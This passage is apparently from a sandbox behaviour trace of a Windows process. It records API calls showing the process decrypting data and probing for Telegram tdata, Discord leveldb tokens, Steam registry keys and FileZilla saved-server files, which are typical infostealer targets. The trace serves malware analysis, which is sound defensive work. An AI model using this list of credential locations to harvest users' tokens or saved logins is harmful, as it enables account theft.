SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b1bd6b0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b1bd6b0*=0x1d240) returned 0x0 [0152.474] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\7a0fd90576e088", nBufferLength=0x105, lpBuffer=0x1b1be410, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\7a0fd90576e088", lpFilePart=0x0) returned 0x1c [0152.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1be860) returned 1 [0152.474] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\7a0fd90576e088" (normalized: "c:\\boot\\zh-tw\\7a0fd90576e088"), fInfoLevelId=0x0, lpFileInformation=0x1b1be940 | out: lpFileInformation=0x1b1be940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2619c534, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2619c534, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2619c534, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x257)) returned 1 [0152.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1be820) returned 1 [0185.019] CryptAcquireContextW (in: phProv=0x1b1bc358, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b1bc358*=0x1b2f2b90) returned 1 [0185.020] CryptImportKey (in: hProv=0x1b2f2b90, pbData=0x26bee80*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b1bc2e0 | out: phKey=0x1b1bc2e0*=0x1b34b440) returned 1 [0185.021] CryptContextAddRef (hProv=0x1b2f2b90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0185.021] CryptContextAddRef (hProv=0x1b2f2b90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0185.021] CryptDuplicateKey (in: hKey=0x1b34b440, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b1bc2d0 | out: phKey=0x1b1bc2d0*=0x1b34b9f0) returned 1 [0185.021] CryptContextAddRef (hProv=0x1b2f2b90, pdwReserved=0x0, dwFlags=0x0) returned 1 [0185.021] CryptSetKeyParam (hKey=0x1b34b9f0, dwParam=0x4, pbData=0x26befa0*=0x1, dwFlags=0x0) returned 1 [0185.021] CryptSetKeyParam (hKey=0x1b34b9f0, dwParam=0x1, pbData=0x26bef50, dwFlags=0x0) returned 1 [0185.021] CryptDestroyKey (hKey=0x1b34b440) returned 1 [0185.021] CryptReleaseContext (hProv=0x1b2f2b90, dwFlags=0x0) returned 1 [0185.022] CryptReleaseContext (hProv=0x1b2f2b90, dwFlags=0x0) returned 1 [0185.022] CryptDecrypt (in: hKey=0x1b34b9f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26befc0, pdwDataLen=0x1b1bc430 | out: pbData=0x26befc0, pdwDataLen=0x1b1bc430) returned 1 [0185.022] CryptDecrypt (in: hKey=0x1b34b9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26bfb90, pdwDataLen=0x1b1bc420 | out: pbData=0x26bfb90, pdwDataLen=0x1b1bc420) returned 0 [0189.626] CryptDestroyKey (hKey=0x1b34b9f0) returned 1 [0189.626] CryptReleaseContext (hProv=0x1b2f2b90, dwFlags=0x0) returned 1 [0189.626] CryptReleaseContext (hProv=0x1b2f2b90, dwFlags=0x0) returned 1 [0191.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b1bd4b0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b1bd4b0*=0x1e4f8) returned 0x0 [0191.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b1bd4b0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b1bd4b0*=0x1e4f8) returned 0x0 [0191.906] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b1bd4b0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b1bd4b0*=0x1e4f8) returned 0x0 [0191.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b1bd4b0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b1bd4b0*=0x1e4f8) returned 0x0 [0192.097] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b1bcfe0, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0192.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd430) returned 1 [0192.097] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd510 | out: lpFileInformation=0x1b1bd510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0192.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd3f0) returned 1 [0192.305] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b1bcfe0, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0192.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd430) returned 1 [0192.305] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd510 | out: lpFileInformation=0x1b1bd510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0192.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd3f0) returned 1 [0192.331] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1bd458 | out: phkResult=0x1b1bd458*=0x0) returned 0x2 [0192.606] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b1bd050, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0192.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd4a0) returned 1 [0192.606] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd580 | out: lpFileInformation=0x1b1bd580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0192.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd460) returned 1 [0193.455] CoTaskMemAlloc (cb=0x20c) returned 0x1b35c000 [0193.455] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1b35c000 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0193.455] CoTaskMemFree (pv=0x1b35c000) [0193.455] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b1bce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0193.456] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1b1bd000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x44 [0193.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd450) returned 1 [0193.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd530 | out: lpFileInformation=0x1b1bd530*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0193.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd410) returned 1 [0194.176] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1bd4c8 | out: phkResult=0x1b1bd4c8*=0x0) returned 0x2 [0194.179] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1ba838 | out: phkResult=0x1b1ba838*=0x0) returned 0x2 [0194.186] GetFullPathNameW (in: lpFileName="Unknown\\config", nBufferLength=0x105, lpBuffer=0x1b1bd050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\config", lpFilePart=0x0) returned 0x2c [0194.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd4a0) returned 1 [0194.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Unknown\\config" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\unknown\\config"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd580 | out: lpFileInformation=0x1b1bd580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0194.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd460) returned 1 [0194.187] CoTaskMemAlloc (cb=0x20c) returned 0x1b360620 [0194.187] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1b360620 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0194.187] CoTaskMemFree (pv=0x1b360620) [0194.187] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b1bcec0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0194.188] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\sitemanager.xml", nBufferLength=0x105, lpBuffer=0x1b1bd060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\sitemanager.xml", lpFilePart=0x0) returned 0x3f [0194.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd4b0) returned 1 [0194.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\sitemanager.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\sitemanager.xml"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd590 | out: lpFileInformation=0x1b1bd590*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0194.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd470) returned 1 [0194.188] CoTaskMemAlloc (cb=0x20c) returned 0x1b35c000 [0194.188] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1b35c000 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0194.188] CoTaskMemFree (pv=0x1b35c000) [0194.188] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b1bcec0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0194.188] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml", nBufferLength=0x105, lpBuffer=0x1b1bd060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpFilePart=0x0) returned 0x41 [0194.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b1bd4b0) returned 1 [0194.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\recentservers.xml"), fInfoLevelId=0x0, lpFileInformation=0x1b1bd590 | out: lpFileInformation=0x1b1bd590*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0194.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b1bd470) returned 1 [0250.898] CoUninitialize () Thread: id = 228 os_tid = 0x13ac Thread: id = 229 os_tid = 0x13b4 [0166.682] CoGetContextToken (in: pToken=0x1b2bf700 | out: pToken=0x1b2bf700) returned 0x0 [0166.683] IUnknown:QueryInterface (in: This=0x4b00f0, riid=0x7ffa5f004998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2bf738 | out: ppvObject=0x1b2bf738*=0x4b0108) returned 0x0 [0166.683] IComThreadingInfo:GetCurrentThreadType (in: This=0x4b0108, pThreadType=0x1b2bf7a8 | out: pThreadType=0x1b2bf7a8*=0) returned 0x0 [0166.683] IUnknown:Release (This=0x4b0108) returned 0x1 Thread: id = 231 os_tid = 0x538 [0148.173] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0148.173] RoInitialize () returned 0x1 [0148.173] RoUninitialize () returned 0x0 [0148.474] CoUninitialize () Thread: id = 232 os_tid = 0x109c [0149.006] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0149.006] RoInitialize () returned 0x1 [0149.006] RoUninitialize () returned 0x0 [0149.025] CoUninitialize () Thread: id = 234 os_tid = 0x12e4 [0150.127] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0150.127] RoInitialize () returned 0x1 [0150.127] RoUninitialize () returned 0x0 [0150.136] CoUninitialize () Thread: id = 235 os_tid = 0x1388 [0150.827] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0150.827] RoInitialize () returned 0x1 [0150.827] RoUninitialize () returned 0x0 [0151.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d240) returned 0x0 [0151.026] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.030] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.031] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.032] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.033] GetCurrentProcessId () returned 0x10c0 [0151.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d1f0) returned 0x0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.155] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.156] GetCurrentProcessId () returned 0x10c0 [0152.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d240) returned 0x0 [0153.221] GetCurrentProcessId () returned 0x10c0 [0153.221] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.222] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.223] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 [0153.224] GetCurrentProcessId () returned 0x10c0 